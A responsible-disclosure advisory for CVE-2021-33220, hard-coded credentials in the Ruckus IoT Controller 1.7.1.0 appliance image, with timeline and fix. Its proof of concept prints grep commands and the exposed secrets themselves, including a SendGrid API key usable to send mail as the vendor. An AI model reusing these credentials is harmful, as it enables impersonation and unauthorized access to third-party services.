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CommScope Ruckus IoT Controller 1.7.1.0 Hard-Coded API Keys Exposed Vulnerability
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CommScope Ruckus IoT Controller 1.7.1.0 Hard-Coded API Keys Exposed Vulnerability 1. Vulnerability Details Affected Vendor: CommScope Affected Product: Ruckus IoT Controller Affected Version: 1.7.1.0 and earlier Platform: Linux CWE Classification: CWE-798: Use of Hard-coded Credentials CVE ID: CVE-2021-33220 2. Vulnerability Description API keys for CommScope Ruckus are included in the IoT Controller OVA image, and are exposed to attackers who mount the filesystem. 3. Technical Description Ruckus vRIoT server software is available from the software library at: https://support.ruckuswireless.com/software/ Once the OVA is imported into VirtualBox, a VMDK file is created. The VMDK file can be mounted and the directory structure and its contents can be perused. The virtual appliance contains clear text API keys that are hard-coded into the web application code. The API keys can be abused to gain information about deployed assets and send email via SendGrid as Commscope/Ruckus. While the AWS SECRET_KEY is exposed, an ACCESS_KEY is not. 4. Mitigation and Remediation Recommendation The vendor has released an updated firmware (1.8.0.0) which remediates the described vulnerability. Firmware and release notes are available at: https://www.commscope.com/globalassets/digizuite/917216-faq-security-advisory-id-20210525-v1-0.pdf 5. Credit This vulnerability was discovered by Jim Becher (@jimbecher) of KoreLogic, Inc. 6. Disclosure Timeline 2021.03.30 - KoreLogic submits vulnerability details to CommScope. 2021.03.30 - CommScope acknowledges receipt and the intention to investigate. 2021.04.06 - CommScope notifies KoreLogic that this issue, along with several others reported by KoreLogic, will require more than the standard 45 business day remediation timeline. 2021.04.06 - KoreLogic agrees to extend disclosure embargo if necessary. 2021.04.30 - CommScope informs KoreLogic that remediation for this vulnerability will be available inside of the standard 45 business day timeline. Requests KoreLogic acquire CVE number for this vulnerability. 2021.05.14 - 30 business days have elapsed since the vulnerability was reported to CommScope. 2021.05.17 - CommScope notifies KoreLogic that the patched version of the firmware will be available the week of 2021.05.24. 2021.05.19 - KoreLogic requests CVE from MITRE. 2021.05.19 - MITRE issues CVE-2021-33220. 2021.05.25 - CommScope releases firmware 1.8.0.0 and associated advisory. 2021.05.26 - KoreLogic public disclosure. 7. Proof of Concept With the VMDK file mounted at the current working directory: root@vriot:/# grep -R 'KIO_API_KEY' /VRIOT/ 2>/dev/null ./VRIOT/backend/settings/defaults.py:KIO_API_KEY = os.environ.get("KIO_API_KEY", "wxtPbzgNNWFlfBqhDfEDoZkQUxtnhWTq") $ egrep -r 'SECRET_KEY|ACCESS_KEY' ./VRIOT/* ./VRIOT/authServer/app/baseapp/settings.py:SECRET_KEY = 'db$04-yk#-3&=54s78d-tvu!+e3#621kj9s!3g$x3t^@m1m6#i' ./VRIOT/backend/settings/settings.py:SECRET_KEY = '%u9-#a6eo0!ukif-+kcg3=gc-zlh8o3@)rz@!-74(g*xa0c#bb' Binary file ./VRIOT/backend/lora/lorawan1.6.0.0.tar matches Binary file ./VRIOT/ops/scripts/image_push.pyc matches ./VRIOT/ops/sqlite_modules/aws4/README.md:// or it can get credentials from process.env.AWS_ACCESS_KEY_ID, etc ./VRIOT/ops/sqlite_modules/aws4/README.md:export AWS_ACCESS_KEY_ID="<your-access-key-id>" ./VRIOT/ops/sqlite_modules/aws4/README.md:export AWS_SECRET_ACCESS_KEY="<your-secret-access-key>" ./VRIOT/ops/sqlite_modules/aws4/README.md:(will also use `AWS_ACCESS_KEY` and `AWS_SECRET_KEY` if available) ./VRIOT/ops/sqlite_modules/aws4/aws4.js: accessKeyId: env.AWS_ACCESS_KEY_ID || env.AWS_ACCESS_KEY, ./VRIOT/ops/sqlite_modules/aws4/aws4.js: secretAccessKey: env.AWS_SECRET_ACCESS_KEY || env.AWS_SECRET_KEY, $ more ./VRIOT/authServer# more app/baseapp/settings.py ... # Email server settings. EMAIL_HOST = 'smtp.sendgrid.net' EMAIL_HOST_USER = 'apikey' EMAIL_HOST_PASSWORD = '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' EMAIL_PORT = 587 EMAIL_USE_TLS = True ... Per https://sendgrid.com/docs/API_Reference/SMTP_API/integrating_with_the_smtp_api.html, the SendGrid password identified above is actually an API key, which can be used with the 'apikey' user to send email through the SendGrid platform as Commscope Ruckus. # 0day.today [2024-07-04] #